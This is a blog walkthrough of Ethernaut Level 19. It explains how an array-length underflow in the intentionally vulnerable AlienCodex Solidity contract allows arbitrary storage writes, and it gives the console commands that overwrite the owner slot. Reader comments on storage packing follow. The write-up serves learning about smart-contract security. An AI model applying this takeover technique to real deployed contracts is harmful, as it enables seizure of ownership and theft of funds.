DEV Community

Cover image for Ethernaut Hacks Level 19: Alien Codex
Naveen ⚡
Naveen ⚡

Posted on

Ethernaut Hacks Level 19: Alien Codex

This is the level 19 of OpenZeppelin Ethernaut web3/solidity based game.

Pre-requisites

Hack

Given contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;

import '../helpers/Ownable-05.sol';

contract AlienCodex is Ownable {

  bool public contact;
  bytes32[] public codex;

  modifier contacted() {
    assert(contact);
    _;
  }

  function make_contact() public {
    contact = true;
  }

  function record(bytes32 _content) contacted public {
    codex.push(_content);
  }

  function retract() contacted public {
    codex.length--;
  }

  function revise(uint i, bytes32 _content) contacted public {
    codex[i] = _content;
  }
}
Enter fullscreen mode Exit fullscreen mode

player has to claim ownership of AlienCodex.

The target AlienCodex implements ownership pattern so it must have a owner state variable of address type, which can also be confirmed upon inspecting ABI (contract.abi). Moreover, the 20 byte owner is stored at slot 0 (as well as 1 byte bool contact).

Before we start, note that every contract on Ethereum has storage like an array of 2256 (indexing from 0 to 2256 - 1) slots of 32 byte each.

The vulnerability of AlienCodex originates from the retract method which sets a new array length without checking a potential underflow. Initially, codex.length is zero. Upon invoking retract method once, 1 is subtracted from zero, causing an underflow. Consequently, codex.length becomes 2256 which is exactly equal to total storage capacity of the contract! That means any storage slot of the contract can now be written by changing the value at proper index of codex! This is possible because EVM doesn't validate an array's ABI-encoded length against its actual payload.

First call make_contact so that we can pass check - contacted, on other methods:

await contract.make_contact()
Enter fullscreen mode Exit fullscreen mode

Modify codex length to 2256 by invoking retract:

await contract.retract()
Enter fullscreen mode Exit fullscreen mode

Now, we have to calculate the index, i of codex which corresponds to slot 0 (where owner is stored).

Since, codex is dynamically sized only it's length is stored at next slot - slot 1. And it's location/position in storage, according to allocation rules, is determined by as keccak256(slot):

p = keccak256(slot)
or, p = keccak256(1)
Enter fullscreen mode Exit fullscreen mode

Hence, storage layout would look something like:

Slot        Data
------------------------------
0             owner address, contact bool
1             codex.length
    .
    .
    .
p             codex[0]
p + 1         codex[1]
    .
    .
2^256 - 2     codex[2^256 - 2 - p]
2^256 - 1     codex[2^256 - 1 - p]
0             codex[2^256 - p]  (overflow!)
Enter fullscreen mode Exit fullscreen mode

Form above table it can be seen that slot 0 in storage corresponds to index, i = 2^256 - p or 2^256 - keccak256(1) of codex!

So, writing to that index, i will change owner as well as contact.

You can go on write some Solidity to calculate i using keccak256, but it can also be done in console which I'm going to use.

Calculate position, p in storage of start of codex array

// Position
p = web3.utils.keccak256(web3.eth.abi.encodeParameters(["uint256"], [1]))

// Output: 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6
Enter fullscreen mode Exit fullscreen mode

Calculate the required index, i. Use BigInt for mathematical calculations between very large numbers.

i = BigInt(2 ** 256) - BigInt(p)

// Output: 35707666377435648211887908874984608119992236509074197713628505308453184860938n
Enter fullscreen mode Exit fullscreen mode

Now since value to be put must be 32 byte, pad the player address on left with 0s to make a total of 32 byte. Don't forget to slice off 0x prefix from player address!

content = '0x' + '0'.repeat(24) + player.slice(2)

// Output: '0x000000000000000000000000<20-byte-player-address>'
Enter fullscreen mode Exit fullscreen mode

Finally call revise to alter the storage slot:

await contract.revise(i, content)
Enter fullscreen mode Exit fullscreen mode

And we hijacked AlienCodex! Verify by:

await contract.owner() === player

// Output: true
Enter fullscreen mode Exit fullscreen mode

Done!

Learned something awesome? Consider starring the github repo 😄

and following me on twitter here 🙏

Top comments (2)

Collapse
 
bonistech profile image
Jonas Merhej

I followed your instructions and it worked. But I didn't get it.
I have a two parts question:

Question #1

When I first executed this:

await web3.eth.getStorageAt(contract.address, 0);
// Output: "0x000000000000000000000001da5b3fb76c78b6edee6be8f11a1c31ecfb02b272" 
Enter fullscreen mode Exit fullscreen mode

Which is this "0x00000000000000000000000" concatenated with the owner's address "1da5b3fb76c78b6edee6be8f11a1c31ecfb02b27" and "2" which is boolean true. Shouldn't it be "1"? And actually "01" cause it's 1 byte and thus should be "0x01"?

Question #2

I didn't get his part:

content = '0x' + '0'.repeat(24) + player.slice(2)
// Output: '0x000000000000000000000000<20-byte-player-address>'
Enter fullscreen mode Exit fullscreen mode

Shouldn't it be:

content = '0x' + '0'.repeat(22) + player.slice(2) + <value of bool true>
// Output: '0x000000000000000000000000<20-byte-player-address><value of bool true>'
Enter fullscreen mode Exit fullscreen mode

?

Where did the stroge for the boolean go?

Collapse
 
nvnx profile image
Naveen ⚡

Hey Jonas! Nice question. It had got me confused a little bit too at the time.

Answer 1:
So, in the 32 byte output

0x000000000000000000000001da5b3fb76c78b6edee6be8f11a1c31ecfb02b272
Enter fullscreen mode Exit fullscreen mode

The boolean is actually on left side i.e. 01 (1 byte) and rest is address i.e. da5b3fb76c78b6edee6be8f11a1c31ecfb02b272 (32 byte).
When packing of multiple variables happens at same slot they appear in reverse order in the slot. For ex. I have this contract on Rinkeby:

contract Slot {
   // all are stored in same slot 0
    address public a  = 0xFFfFfFffFFfffFFfFFfFFFFFffFFFffffFfFFFfF;
    bool public b = true;
    uint64 public c = 0xaaaa;
}
Enter fullscreen mode Exit fullscreen mode

at address 0xf6fBAB2C8FFB9e0EeD51926e8159B52DD225623f.

If I read slot at 0 I get:

await web3.eth.getStorageAt('0xf6fBAB2C8FFB9e0EeD51926e8159B52DD225623f', 0)

// 0x000000000000000000aaaa01ffffffffffffffffffffffffffffffffffffffff
Enter fullscreen mode Exit fullscreen mode

See the order of a, b, c in the same slot? In reverse order.

Answer 2:
Well, there I just want to overwrite the stored address part in that slot - which is last 20 bytes of that slot. And I'm not concerned about the boolean (which will be 00/false) there because I'll become the owner anyway - which is the goal :)